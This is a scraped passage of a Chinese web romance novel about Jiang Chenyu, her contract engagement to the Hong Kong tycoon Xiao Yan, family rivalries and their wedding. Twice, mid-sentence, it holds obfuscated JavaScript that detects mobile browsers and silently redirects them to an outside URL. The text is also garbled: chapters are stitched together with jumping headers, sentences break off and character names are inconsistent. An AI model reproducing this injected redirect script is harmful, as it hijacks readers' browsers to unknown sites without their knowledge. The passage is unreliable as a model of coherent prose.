她正要细细观察下,就见萧砚似有察觉般敏锐回头,他眉梢微抬,锋利冷淡的眉眼透出几分凌厉的寒意,等到看清楚懒懒坐在阳台看海景的美貌女郎,眼底闪过淡淡笑意,手指敲击着树干,漫不经心开口。 “我倒不知道,姜小姐居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830866|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有清早偷窥人的癖好?” 莫名含冤的姜沉鱼:“………” 我不是,我没有,你别胡说!! 姜沉鱼心里好气,面上还要给金主大老板面子,免得人家一不高兴,连契约夫妻都没得做,连带着自己的富婆梦也跟着飞走。 “萧先生真会开玩笑。” “我是睡不着,早起床看海上日出的。” 这话姜沉鱼没说假,她是真打算一直坐着等日出出来。 不知道是姜沉鱼真挚的小表情取悦了萧砚,他面容淡淡,眼睛里却实实在在噙了笑意。 “原来是这样,是萧某的错,打扰姜小姐闲情逸致欣赏日出了。” 姜沉鱼:“……” 这话让她怎么接? 你们霸总都喜欢这样阴阳怪气,内涵人嘛? 姜沉鱼在外人面前一向矫揉造作,娇气任性,唯独面对萧砚,那是一点儿好处也捞不到。 好在萧砚池贵人事忙,站在不远处的裴特助看了看手腕上的手表,上前轻声道。 “总裁,早会的时间到了。” 萧砚颔首,跟楼上的姜沉鱼淡声道别,他稍稍抬了抬手,转身离开萧家老宅,身后跟着一连串的保镖。 碍事的家伙总算走了,姜沉鱼松了口气,继续欣赏海景。 六点半,沉寂的萧家老宅有了人气。 郭玉琴一早吩咐厨房,准备了姜沉鱼爱吃的虾饺、三文治面包跟鸡汤面。 吃早餐的时候,萧长章夫妇恰巧出门会客,留姜家一家人用早餐。 文燕蓉不知道抽什么风,许是看到姜沉手腕上那只水头极好的翡翠玉镯,触动了某样心思,突然怪声怪气对姜建军道,“最近翡翠价蛮便宜的,回头给咱们沉宁也买一只戴。” “总不能姐姐有,当妹妹的没有。” 正在吃面的姜沉宁猛呛了下,她觉得亲妈可能疯了,翡翠手镯价格昂贵,哪是说买就里便宜了? 再说她也不喜欢翡翠,她喜欢黄金。 黄金多好,又好看又值钱。 姜沉宁把心里话说出来,气得文燕蓉想给她一下子。 臭丫头,不知道翡翠多抢手。 真是不识货! 姜沉鱼垂眸喝粥,神色安静,似枝头盛绽的百合,娴雅又安静。 “真巧,我也挺喜欢黄金的。” 姜沉宁闻言,心里欢快起来,看便宜姐姐也顺眼许多,她觉得姜沉鱼眼光不错,真是英雄……美女所见略同。 文燕蓉又要挑事,姜建军浓眉拧起,惊得她老实如鹌鹑。 热闹的早餐过后,王妈带着佣人收拾了餐桌。 下午时分,按照郭玉琴的吩咐,前院花圃里新移栽了一排桂花树。 秋日细白的花朵开满枝头,花香浓郁,满庭院都是桂花香。 在满院的桂花芬芳中,姜沉鱼喝着咖啡,按照婚纱设计师的要求,伸胳膊站腿,量尺寸,商量婚礼穿婚纱、旗袍样式。 15. 第 15 章 婚纱设计师是港城某蓝血品牌的总监,英国人,出身贵族家庭,为人绅士,曾经为某国王妃设计过婚纱而名声大噪,人称威廉,在港城豪门中颇受欢迎。 威廉事业好,经常坐着飞机满世界跑。 港城豪门有些不入流的人家,压根儿请不动这尊大佛。 姜沉鱼见了威廉,果然如传说中的一样,金发碧眼,一口流利的英腔,有种老牌贵族特有的气质。 姜沉鱼时常出国旅游,英语尚算流利。 威廉跟她交谈了几句,用熟练的中文惊讶开口。 “姜小姐,恕我冒昧,您在国外长大的?” 姜沉鱼礼貌微笑,“威廉先生,我经常在国外旅游,再加上有点语言天赋,才勉强能与你交流。” 威廉也笑,在这一刻,他对着眼前这位分外漂亮的女士有了几分改观。 威廉是个实干家,他不喜欢空有皮囊的花瓶。 看来萧先生眼光不错。 也不对,听说这位萧家未来少夫人是家中长辈早年定下的。 威廉家族百年前曾祖父穷困潦倒,濒临破产,穷的只剩下头衔了,他曾祖父娶了位自带家产的美元新娘,也就是他曾祖母,家族才转危为安。 他想,难道是萧家家业鼎盛,应该不用娶位身家丰厚的新娘来顶家立业。 难不成是因为萧先生身体不好,娶眼前这位美貌女士来传宗接代? 威廉看着助手朱莉跟姜沉鱼商量婚纱的细节,萧家长辈并不在旁边指手画脚,这既是萧家的涵养,也是对新娘子的尊敬。 看来是他想错了。 一切商量妥当,威廉带着另一位助理离开萧家老宅前,脑海中如是想到。 威廉有三位助理,助理朱莉姓成,也是出身不俗,祖父是玩具大王。 朱莉从小在国外长大,成家有三个儿子一个女儿,按理说成朱莉是家中的掌上明珠,却被家里祖父当男孩子养大,骑马开车色射击,十八九岁就染了一头红发,迷上了时尚圈,背着行囊追着威廉跑,打破打滚要当人家的达令.......助理。 后来成家祖父出了面,威廉勉为其难让成朱莉进了公司。 朱莉一进公司,就对威廉没兴趣了。 威廉松了口气,这以后两人倒真能当上司下属一样,和平相处了。 这些话都是成朱莉跟姜沉鱼讲的,她天生喜欢美人儿,觉得看美人儿自己也能变美。 成朱莉开朗大气,不拘小节,讲话十分有趣。 姜沉鱼喜欢跟她来往,不累心累脑,勾心斗角,这样最好了。 自家少夫人这么快就交到朋友,王妈心里高兴,不用姜沉鱼请她帮忙,就端了糖果点心、红茶、咖啡上来。 “红茶?” “咖啡?” “朱莉,你要哪样?” 姜沉鱼几句话就跟成朱莉混熟了,说起话来也不装腔作势,态度很自然。 “我要红茶。” 朱莉最不爱喝外国佬发明的咖啡,说是喝起来跟中药有一拼。 “真不知道外国佬怎么爱喝咖啡,这玩意儿跟马尿一样。“ 正往咖啡里加牛奶的姜沉鱼:“.......” 她并没有生气,只是有些好奇。 “你喝过马尿?” 朱莉:“......她还真没喝过。” “我也没喝过。” “有机会也不想尝尝。“ 姜沉鱼慵懒端着手里的咖啡,两人相视一笑,结束了这场对话。 朱莉在萧家赖到中午,吃了顿松露蜗牛大餐,才驱车离开。 姜沉鱼出门送客,朱莉大力抱了抱她,“哇,你身上的香水味真好味。“ ”靓女,下次再见了。“ 朱莉上了敞篷跑车,飞过来一枚飞吻。 姜沉鱼忍俊不禁,姜沉宁恰巧路过,看到这一幕,心里有些吃味。 哼,黄天化日,腻腻歪歪,快走吧你! * 萧姜两家婚礼筹备多时,萧砚只露了几次面。 他是真的很忙,最近萧氏集团新收购了几块地皮跟小公司,主持会议,察看地皮,忙到不可开交。 姜沉鱼也忙,她早上起床跟着郭玉琴盘点库房,中午小睡一会儿,下午马不停蹄熟悉婚礼的流程细节。 抽空见见爷爷奶奶,父亲、跟不着调的继母、妹妹。 有时候晚上睡下了,听到外面宾利车的引擎声,跟细碎的说话声,姜沉鱼掀掀开眼皮,翻个身看看表,十二点半,感叹句金主大老板真辛苦,又睡下了。 加长宾利车停在了绿荫草坪前,喷泉水花声四溅。 萧砚隔着车窗,抬眸向鹅肉二楼某间客房望去,里面漆黑一团,淡淡收回目光。 开车的还是许久不见的裴特助。 裴特助同样也看见了三楼某间客房关了灯,下意识观察自家总裁的反应,小心翼翼开口,“总裁,姜小姐休息了。” “不如,咱们明天再早点回来?” “不用了,今天我在家里休息。” “叫保镖轻点声,别吵醒家里人。” “好。” 萧砚修长手指在车上点了点,英挺的面庞看不出什么情绪,说出来的话却叫人惊愕。 裴特助跟在总裁身边这么多年,总裁忙碌起来,一连数天在集团吃住是常事,哪跟现在一样,自从未来少夫人来了港城,他们总裁铁树开花,一有空就回家不说,还懂得怜香惜玉了。 裴特助心下欢乐,想着总裁开了窍,以后跟少夫人甜甜蜜蜜过日子,说不定明年就能添丁进喜了。 他应了声好,恭敬送萧砚下车,干净利索开车走人了。 嘿嘿,他才不当总裁跟少夫人的电灯泡。 虽然萧砚和姜沉鱼之间还是面淡如水、客气疏离,裴特助却坚信,自家总裁跟少夫人会有狂撒狗粮、让人吃到饱那一天。 咱们总裁龙章凤姿,也就少夫人这样的绝色佳人配得上。 裴特助开着车,心里如是想到。 加长宾利车远去变成,消失在盘山公路上。 港城夜色美不胜收,远处浪涛声声的海面上,盘旋着振飞的海鸟,映照着灯火璀璨的别墅区。 萧家老宅的大喷泉,水花四溅,给夜色添了几分清凉。 萧砚站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837721|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小花园里眺望海边,想起某人娇气慵懒的模样,活像只傲娇的波斯猫,冷峻淡泊的黑眸染上几分笑意。 十月份的港城雨花说来就来,远处海面飘来细密的海雾,遮蔽了繁星点点的夜空,这会儿隐约有点凉了,起了微凉的风。 生叔跟王妈寻到自家二少爷,急匆匆赶了过来。 “二少爷,天冷了回楼上休息吧。” “王妈给你备好了热水。” “回去泡个热水浴,早点休息。” “好,老爷夫人呢。” “老爷、夫人都睡下了。夫人惦记着少爷,亲自煲了参汤,少爷你喝不下,看看也是好的,总归是夫人的一片慈母心。” 生叔、王妈言语絮叨,也只有他们能在萧砚讲这么多话。 郭玉琴还不知道自己儿子吃不下任何东西,只能喝营养剂度日。 她身子不算好,三年前病了一场,医生说不能再受刺激。 家里人都瞒着她。 萧砚的事,萧家老宅的佣人、萧长章、二三房,甚至港城各大豪门都知道,唯独郭玉琴被瞒在鼓里。 曾经有不怀好意的人到郭玉琴面前说嘴,他的下场很惨。 兴旺的家业破产,妻子儿女离他而去,港城混不下去,那人远渡重洋后成了沿街乞讨的流浪汉。 自那以后,再也没人敢在郭玉琴面前提一个字。 港城谁不知道萧砚手段狠辣、睚眦必报,闲得蛋疼才惹他不痛快。 萧砚上了楼,几个黑衣保镖从另一边拐角上楼,守在三楼四周。 “总裁上楼了。” “让楼下的巡逻兄弟细心点,连只蚊子也不能放进来。“ ”总裁休息的时候,一定要保持安静。“ ”收到。“ 二十分钟后,萧砚从浴室出来,换了件白色丝质衬衫,袖口挽起,露出线条流畅的手腕,男人轮廓映照在顶光灯下更显得俊美精致,从一旁的烟盒里拿出一根雪茄点燃,靠在桌边抽了一口,垂眸扫了眼二楼的客房。 要是姜沉鱼看到这一幕,八成要腹诽,萧砚这厮十足一副斯文败类的样子。 * 翌日一早,“斯文败类”萧砚就去了集团开早会。 这阵子姜沉鱼天天早起,跟着自己忙里忙外,看一向娇媚水嫩的姑娘就跟失去水分的娇花,郭玉琴顿觉自家像个恶婆婆,小鱼还没进门呢就,就被“搓磨”成这样子。 郭玉琴立马反省自己,给姜沉鱼和家里佣人放了一天假。 姜沉鱼幸福感爆棚,睡了个好觉,早上八点才从床上爬下来,洗漱过后享用丰盛的早餐。 萧家有米其林大厨跟中式厨师,姜爷爷、姜奶奶吃不惯西餐,这几日早餐吃的都是中式早餐。 香菇牛肉小笼包、豆浆油条、鲜鱼羹、虾仁蛋饺跟甜滋滋的豆沙八宝饭。 姜沉鱼喜欢吃甜,对香菇小笼包之类的没什么兴趣,专心致志吃虾仁蛋饺跟豆沙八宝饭。 她现在知道,是因为杜晓沁给孩子们置办的新衣送到了家。 中午饭后,萧茗坐着车去学校上课,萧长章夫妇连同姜爷爷他们去三房拜访萧老爷子。 第20章【VIP】 第20章 第20章感谢订阅 “光哥,这个大陆妹真带劲,漂亮妩媚,看得我心痒痒。” “痒痒个球,给老子安份点!” “误了明哥事情,扒了你鬼仔的皮!” 阿光为人谨慎,他看到大陆妹身边拿着有保镖司机,不敢贸然跟踪,悄悄带人撤了。 姜沉鱼也没有乱跑,她去两家美食老店买了几样长辈爱吃的点心,陈意斋燕窝糕、么凤凰话梅王还有奶奶爱吃的蝴蝶酥,便乘车返回。 在回萧家的路上,姜沉鱼请司机绕道去了趟跑马地九十八号,那里的房产是母亲庄心晴留给她的嫁妆。 跑马地这边是富豪区,寸土寸金,庄心晴留给女儿一幢带花园的小房子,不算大,却处处透着精致温馨。 房子里常年又有一位老姆妈打扫照顾。 老姆妈约莫五十岁年纪,头发梳的一丝不苟,穿着灰色的褂子,下着黑色长裤,平底布鞋,面容和善,见了姜沉鱼很激动,“你是小鱼?” “庄小姐的女儿?” 姜沉鱼对老姆妈并没有印象,静静回答是就不再说话。 老姆妈话却很多,絮絮叨叨讲起了当年往事。 老姆妈姓名许,四几年跟随家人躲避战乱跑到港城,长到二十岁嫁了人,所嫁的丈夫是个烂仔,吃喝嫖赌鲜少顾家,回家就打老婆,老姆妈身上经常青一块紫一块,有天实在受不了,她趁着天黑卷包袱跑出了出来寻生计,运气好遇上了旅居港城的庄家一家三口。 庄父也就是姜沉鱼的外公收留了许姆妈,让她跟在女儿身边一起识字念书。 后来战争结束,山河统一。 庄家一家准备迁回老家,许姆妈在港城活了二十多年,她已经没有其他家人,也无处可去,更不想给老爷一家添麻烦,自动留下来替庄家看房子。 姜沉鱼外公同意了,庄家回了内地后,按月给许姆妈打生活费。 许姆妈全都存起来,这些年全靠出去做工赚钱养自己,她跟小姐一直有书信往来,一直到庄心晴去世。 而姜沉鱼长相酷似庄心晴,许姆妈才能一眼认出她来。 “小小姐,我终于见到你了!” “快,咱们回家。” 许姆妈泪涟涟,当即打开了花园铁门。 姜沉鱼听到“回家”二字,心里倏暖,跟随许姆妈的脚步进了家门。 宅子前的小花园不算大,里面栽种了很多花果树木,半墙爬山虎随风摇曳,沐浴在海风中,被人照顾的很好。 客厅铺了厚厚的羊绒地毯,装潢典雅古朴,靠南的书架上,琳琅满目摆满了各色书籍,旁边红木小几上摆着老式唱片机,客厅上方悬挂着一张照片,照片里的女郎十八九岁年纪,身穿月白色斜襟衫,百褶长裙,乌 发明眸樱唇,雪肤花貌,让人忍不住想透过岁月长河去窥探她的美貌。 “这是小姐十八岁时的生日照。” 照片里的女郎正是十八岁的庄心晴。 “小小姐,来喝茶。” 许姆妈端了杯英式红茶给姜沉鱼,馥香的茶里,添加了牛乳,又如亲人般叮嘱她,一定要多穿衣,平时要照顾好自己,得知姜沉鱼过得很好,她很是慰足。 姜沉鱼心下温热,知道许姆妈真心待她,拿起红茶轻轻抿了一口,美眸微微眯起,许姆妈拿来家中的老相册,她一张张翻看着,实在想不通年轻时光芒四射的母亲怎么就看上了她爸那种男人。 姜建军是什么男人呢? 道貌岸然、唯利是图,长相算是俊朗,可惜对高位权利汲汲追逐,对她这个女儿有点真心但不多。 姜沉鱼如是想到。 许姆妈送了红茶,又端来一盘栗子蛋糕。 庄心晴生前最喜欢吃栗子蛋糕,姜沉鱼也喜欢,她谢过许姆妈,吃过蛋糕,跟她过拥抱告别,送了两盒燕窝糕,留下两千港币。 许姆妈坚决不收,直到姜沉鱼答应下次来看她,才收了这些钱。 “许姆妈再见。” 姜沉宁坐上了回萧家的车。 “再见。” 许姆妈望着远去的汽车,高兴抹泪,真好刚才小小姐跟她拥抱了。 小小姐没将她当外人! 姜沉鱼坐车回了萧家,特意请教生叔,金主大老板回家的时间。 生叔说二少爷一般十一点后才回家。 姜沉鱼有点犯难,她一向娇气,不高兴小媳妇独守空房一样等萧砚等到十一点,又跑去打电话给裴特助,说她有礼物要给未婚夫。 “姜小姐是什么礼物?” “我准备的婚前礼物,能派人来取一下吗?” “当然可以,您稍等片刻。” 裴特助挂了电话就跑去向萧砚报告,“总裁,少夫人给您准备礼物了!” 办公室里的萧砚刚开完集团会议,原本眉眼衿冷,闻言眉梢微抬,不动声色开口:“姜小姐准备了什么礼物?” “是两对袖扣。” “姜小姐亲自为您选的。” 萧砚颌首,表示知道了,面色平静继续处理文件。 裴特助见状,还以为总裁不喜欢少夫人给他买的袖扣呢。 没想到,翌日一早集团召开股东会议,裴砚一身裁剪合身的黑色西装,整个人矜贵俊美,十分“不经意”间在众股东面前露出了袖子上的一对黑曜石袖扣。 这立刻引起了众人的注意,某位股东好奇询问,“总裁,您这对袖扣蛮别致的,是在欧洲购入的?” 萧砚淡淡一笑,“这是我未婚妻送的婚前礼物,陈总若是喜欢,可以回家请太太买一对送你。” 陈股东:“……” 在场众人:“……” 一旁吃瓜的裴特助:“……” 原来总裁不是不喜欢少夫人送的袖扣,是十分喜欢啊! 集团开着会,这一早上众股东吃够了总裁的狗粮,有太太的摩拳擦掌,打算回家请太太也送自己一份礼物,好来集团炫耀炫耀。 谁还没结婚咋滴! 没结婚的则有些垂头丧气,从前觉得当钻石王老五,风流倜傥,日日夜蒲多么潇洒,现在想来也怪没意思的。 一个人过日子总没有一家人热闹温馨。 * 港城秋日阳光灿烂,萧家后花园的木樨花开满了一片,小径全是花香,让人心旷神怡。 姜沉鱼一觉睡到自然醒,梳洗打扮好下楼吃早餐。 萧家早餐一向丰盛,今早有醋鱼面跟虾仁蛋饺、八宝粥、蟹黄香菇包,新蒸的红豆米糕。 清一色的中式早餐,很符合中国人的胃口。 萧长章夫妻一早去了三房,听闻是萧老爷子胃口不佳,专门去探望。 姜爷爷二老担心老友也跟着去了。 姜建军自然不会放过这个机会,文燕蓉拽着不情愿的姜沉宁,一家三口心怀鬼胎,追跟去了三房。 是以,诺大的餐桌前只有姜沉鱼一个人吃早餐。 她并不觉得独孤,反而很享受独处的时光。 姜沉鱼爱吃醋鱼面,鱼肉鲜嫩,汤汁浓郁,面条筋道,王妈洞察人心,贴心盛了一碗过来。 “辛苦王妈妈了。” 姜沉鱼美眸弯起,语气很是雀跃。 王妈也很高兴,她是自梳的老阿妈,注定不能跟普通人一样结婚生子,她没有孩子,看到二少爷跟少夫人便把他们当成了儿女。 “姜小姐别客气,早起第一餐最重要,再吃些蛋饺好吗?” 姜沉鱼还没开口,王妈已经夹了过 她只得吃了一个。 姜沉鱼吃完虾饺,坐在餐桌旁的椅子上,用镂空雕花银筷挑起面条小口品尝,粉润指尖修长,正想再夹一个汤包来吃,雕花楼梯上传来脚步声。 姜沉鱼下意识抬头望去,看到来人,愣怔了几秒。 “二少爷,快来吃早餐。” 王妈看到萧砚自是欢喜。 她口里的早餐自然不是这些汤面、饺子之类的,而是萧砚平时喝的营养剂。 在两侧等候多时的佣人忙不迭拉开餐椅,态度恭敬的对着里面的人俯身:“二少爷。” 萧砚点点头,顶光的白色吊灯落下来,他迤逦的脸庞没什么情绪,只眉骨略抬了抬,黑眸落过来。 “姜小姐早安。” “早安。” 姜沉鱼扬起潋滟红唇,面上礼貌性点头微笑,心下有点不确定,她似乎从金主大老板的眼眸里看到了一抹温柔? 她偷偷瞥了眼对面的萧砚,仍旧是一张锋利冷淡的俊脸,周身萦绕着微冷的气息。 萧砚漫不经心喝着营养剂,察觉到某人偷窥的目光,“有事?” “没事。” “萧先生多喝点。” 姜沉鱼微囧,总觉得自己像只探头探脑的猫,猥琐垂涎金主大老板的美貌。 她老老实实吃早饭。 餐桌上鸦雀无声,萧砚抬眸看乖顺的姜沉,嘴角勾起。 真像只可爱猫咪。 * 萧家半山区大宅。 萧长章一行人乘车到了大宅铁门前,众人下车,早就等候在门口的老管家迎了上来。 “少爷,夫人。” “姜老先生,姜老夫人。” 老管家跟随萧老太爷多年,身份不一般,只负责老太爷一人的起居,平日里三太邓颖梅花见了他,都要给几分薄面。 被忽略的姜建军一家三口也不觉得有什么。 进了大宅,文燕蓉左右乱瞧,想说再找三房大太太、二太太打牌来着。 她打牌手气好,上次赢了两位太太不少钞票。 真是过瘾。 只可惜三房一家人一向起得晚,这会儿才七点多,没到起床时间,整个院落静悄悄的,只有萧老太爷住的小楼亮着灯。 萧老太爷明面上住在三房,实则带着保镖住在后院子小楼里,三房众人都住在前面院子。 没有老太爷的允许,轻易不得到后院来。 小楼前面修建了个小花园,绿柳成荫,花团锦簇,中心有处水波荡漾、修了凉亭的池塘,四周种满了荷花,养着满池鱼儿。 凉亭倒映在水波里,锦鲤一跃而起,这幅美景像足了老宅的月园。 明眼人都晓得,这个小花园是按照叶秋月喜爱的花园修建的。 姜奶奶看到此景,忆起逝去的好姐妹,难免有些迁就生气。 人走了才装模作样怀念,有什么用? 活着的时候也没见多珍惜! 天下男人一个狗德性,妻不如妾,妾不如偷,喜新厌旧! 萧老太爷因为两个不肖子孙赌马,心情不虞,躺在躺椅上修身养性,听闻老兄弟来了,起身迎接,其他众人则被请去偏厅吃茶喝点心。 老父亲没心情搭理他们,萧长章夫妇也是无奈。 小楼长长走廊上铺着羊绒地毯,佣人送了热茶点心上来。 姜爷爷落座,看老友面色颓然,没有往日的面色红润,品尝了口雨前龙井,才道,“又梦见秋月了?” 萧老爷子叹气,这几日他频繁梦见结发妻子,不知道是不是上了年纪的缘故,梦醒后,年轻时许多混账事也跟着涌上心头。 姜爷爷也是男人,不过他是杀伐果断的军人,一生最重诺言,对老妻从一而终。 “你啊,年轻时候风流债太多,老了反而良心不安。” “唉。” “你家阿砚没随你吧?” “那小子清心寡欲的很,跟我老头子不一样。” “老兄弟,我提前说句难听话,小鱼是我姜家的孙女,谁给她委屈受,别怪我不答应。” 姜爷爷放了话。 没想到萧老爷子比他还激动,“老子活一天,小鱼就是我亲孙女!” “谁敢欺辱小鱼,打他狗腿!” “阿砚呢,那个兔崽子欺负小鱼了?!” “老承,备车!” “老太爷,去哪里?” “去大房!” 打断兔崽子的狗腿! 萧老爷子杀气腾腾,健朗矍铄,老管家承叔跟两个保镖没拦住他,倒是给姜爷爷拦了下来。 萧砚自然是没欺负小鱼的,相反对孙女很好。 阿砚这孩子守礼稳重,有手段有城府,姜爷爷很满意未来孙女婿。 他说这番话,只不过是敲山震虎,先礼后兵罢了。 放在掌心的宝贝孙女就这么嫁人了。 老人家心里不舍,就想给老兄弟添点不痛快。 得知真相的萧老爷子:“………” * 十月十二日,距离萧家举办婚礼还有三天。 萧家大房上下忙翻天,九十年代港城豪门婚礼要么在酒店举办,要么在自家庄园操办。 萧砚事先询问了姜沉鱼的意见,两人都不喜欢酒店的喧闹繁华,反而中意举办一场温馨简单婚礼。 姜沉鱼觉得他们既然是契约婚姻,自然是萧砚说什么,乙方听话就是了。 再说她是真不喜欢去应付那些不相干的人事物,即繁琐又麻烦。 能有避开的机会,何乐而不为? 二人意见一致,两家长辈都开明宽和,自然没有反对的话语。 这日夜里,晴朗了数天的港城下起了雨,外面风雨婆娑,海滩上刮起了风,远远听到海浪拍打沙滩的咆哮声。 翌日一早,天色依旧阴沉,吃了早饭,又薄薄的细雨,天地顿时一片白蒙蒙的,似有白雾笼罩。 清晨八点钟,三房众人陆续起床,萧老太爷也从小楼过来身后,身后跟着保镖。 萧老爷子早起心情很不错,特别是想到两天后的婚礼,更是高兴。 三太邓颖梅过来献巧,“老爷子,今早厨房做了闽南菜,咱们去尝尝。” “好!”萧老爷子大笑,“吃了这餐饭,很快就是阿砚和小鱼的婚礼了,到时候要好好热闹一番!” 二人说话南辕北辙,三房一家人在老爷子面前也不能说胡话。 等你吃了早饭,萧老爷子回去小楼。 家里两个儿媳妇忍不住开始讲酸话。 “大嫂,老爷子忒偏心了,话里话外全都是大房。” “咱们三房跟大房哪有什么可比性。” “这几天天气不好,往后几天都是雨,天公不作美,大房要在雨里办婚礼喽。” 港城豪门讲究风水八字,提前找大师看好的日子居然是个不吉祥的雨天,想到这,两个女人就跟米糠里偷吃的老鼠般祟祟笑出了声。 萧家大房婚期在即,霍家二太太还是没接到喜帖,在妯娌的挤兑嘲笑下,她一气之下便病了。 豪门之间有些消息传得很快。 霍二太太病了的消息传到三房,大太太跟二太太就巴巴坐车提着燕窝人参,去探病了。 说是去探病,其实就是上门巴结。 霍二太太病容苍白,心中郁结不愿见人,她们只在偏厅略微坐了坐就打道回府了。 这让二人满腹牢骚,更人让她们不开心的事,十月十五那天,一连下了几天日的雨停了,一大早就出了太阳,秋光明媚,一看就是个好天气! 萧老爷子精神抖擞出了门,三房众人郁闷不已。 跑马地老宅却是一片欢腾,林荫道两旁高大的木棉树正值落叶,佣人早把道路清扫干净 待客厅的水晶灯盏盏亮开,将庭院的花草照射得晶莹剔透。 老宅主楼楼梯铺上了深色的羊绒地毯,院子里铺设着红毯一直到雕花铁门,老宅外盘山公路一路蜿蜒而下,停满了奢华豪车。 港城商界巨贾,政界名流,各路大腕携带家眷来参加婚礼。 萧长章夫妇在外面待客,郭玉琴一身金丝缠枝旗袍,整套红宝石套装,打扮的雍容华贵,喜气满面。 姜建军穿着引以为豪的军装,满面红光跟一众上流人士含笑相谈,文燕蓉母女俩立在旁边,不知道想些什么。 红毯两侧站着两排保镖,他们身后聚集了大批小报记者,对着宾客拍照。 更衣室里,萧砚西装外套拿在手里,穿着丝绸白衬衫,两颗纽扣松开,发如墨染,整个人矜贵稳重。 “扣扣——”几乎是迫不及待的敲门。 里面很快传来萧砚的声音,“进来。” 更衣室的门被轻轻敲响,脸带喜气的裴特助推开门。 “总裁,您跟夫人的婚礼马就要开始了。” 20-30 第21章 第21章感谢订阅 “好,马上到。” 萧砚的西装外套拿在手里,穿着丝绸白衬衫,两颗纽扣松开,发如墨染,整个人矜贵又稳重,虽然跟平时一样话少,但是眉梢的笑意是骗不了人的。 裴特助欢快应了声,又小跑去忙了。 姜沉鱼这边,也被通知婚礼时间快到了。 豪门婚礼复杂冗长,姜沉鱼早饭只吃了几口,姜奶奶担心孙女饿肚子,请王妈送来了一盘新考好的牛角面包跟牛奶。 “小鱼,吃块面包垫垫肚子。” 朱莉一大早就来了萧家,她是新娘子的好友,更是婚纱设计师威廉的助理,威廉设计的婚纱裙摆都很大,需要有人在后面打理。 姜沉鱼在港城没有好友,婚礼上又需要伴娘。 在江城的三五好友过不来,姜建军也不允许女儿请她们来,虽说都是军区大院出身的姑娘,但是在港城这边,谁认识她们呢? 姜沉鱼没搭理虚荣市侩的生父,想来想去邀请了朱莉当伴娘。 朱莉欣然答应。 她参加过不少豪门婚礼,老旧迂腐,老规矩臭毛病一堆,什么新娘子要跪着给公婆敬茶,聆听教诲啦,新郎却在一边站着 想想就让人烦。 但她为了姜沉鱼,这些话都没说出口,实在是不想好姐妹不开心。 萧家有专门的糕点师傅,烤出来的蛋糕香气浓醇,入口酥甜。 姜沉鱼坐在橡木软沙发上小口吃着牛角包,称赞道,“味道不错。” “何止是不错,你家的糕点师傅水平高。” “以后我要常来蹭吃的。” “好。” 朱莉胃口好,一连吃了两个牛角包。 姜沉鱼吃了一小块,垫垫肚子就算完事,她漱了口,拿干净手帕擦了手,对着镜子看了看。 “口红少了些。” 化妆师赶紧过来替她补妆。 化妆室水晶灯明亮,姜沉鱼穿着卡夫绸白色婚纱,在灯光的照耀下,越发显得肌肤胜雪,衬得一张小脸美艳绝伦。 港城十月天温度温暖,来参加婚宴的女眷们,要么穿短袖洋裙,要么穿无袖旗袍。 朱莉是伴娘,穿着雪纺色的短袖长裙,一头嚣张红发短暂回归了黑色,有了几分秀丽飒爽。 “准备了,少夫人要入场了。” 吴妈急匆匆赶来。 老宅栽种的桂花开满了庭院,绿茵地上的鸽子咕咕叫个不停,在天空中,划过一道道优美的白色弧度。 数千朵玫瑰花打造的花海,随着清风摇曳。 婚礼上乐队奏响庄重的音乐声,数盏缠枝吊灯枝盏 繁复,在光滑如镜的地面上落下点点碎芒。 奢华的大厅,钢琴优美的乐音在四周旖旎盘旋。 姜沉鱼身着旖丽婚纱,站在入口处,看着不远灯光璀璨下,逆光站立的萧砚,心里居然添了几分紧张心情,粉腮上也扑了热气。 见鬼了,一定是天太热了。 她把一切归咎于天气。 “新娘入场了。” “哎哟,新娘真是靓女。” “小声些,别丢了体面。” 萧老爷子鹰眸一扫,四周顿时鸦雀无声。 姜沉鱼挽着姜建军的臂膀款步走进了宴厅,在司仪说完话之后,姜建军在满堂宾客的注视下将女儿交到了新郎手中。 这一刻,姜建军难得有了几分慈父心,对萧砚叮嘱道,“好好对我女儿。” “我会的,岳父。” 萧砚一诺千金。 姜沉鱼心说,金主大老板还挺入戏。 姜建军瞬间放心。 姜沉鱼手上带着乳白色镂花手套,她的掌心柔软,而萧砚的手掌结实温热,两下一印,彼此心里都泛起涟漪。 婚礼司仪妙语连珠,讲了一堆吉祥话,就在姜沉鱼听到要犯困的时候,一句,“新郎可以亲吻新娘了。” 姜沉鱼还没反应过来,萧砚已经低了头,吻上了她柔软饱满的樱唇。 这个吻如蜻蜓点水斌,并不深入,萧砚的吻跟他人一样清冽孤寂,却又莫名带着几分魅惑的性感。 姜沉鱼脸蛋含粉,总觉得哪里不对劲,可是看萧砚池冷峻脸庞没有什么表情,又觉得是她多想了。 满堂宾客先是寂静了几秒,继而响起了雷鸣般的掌声。 一个吻而已,婚礼上吻完就过去了。 婚礼从清晨一直到了黄昏,晚宴结束后,众宾客吃了筵席之后,这才陆续散场。 姜沉鱼换了喜服,踩着高跟鞋,跟萧砚一起送别宾客,芙蓉面,樱桃唇,掐腰旗袍,潋滟生姿。 “霍大夫人慢走。” “萧夫人真是客气。” “二位新婚燕尔,真是般配。” 姜沉宁穿着礼服,躲在偏厅里休息,她站了大半小时,实在是脚酸,只能找个地方休息,不然明天别想走路了。 她瞥了眼庭院门口的窈窕身影,此刻也不得不佩服姜沉鱼了。 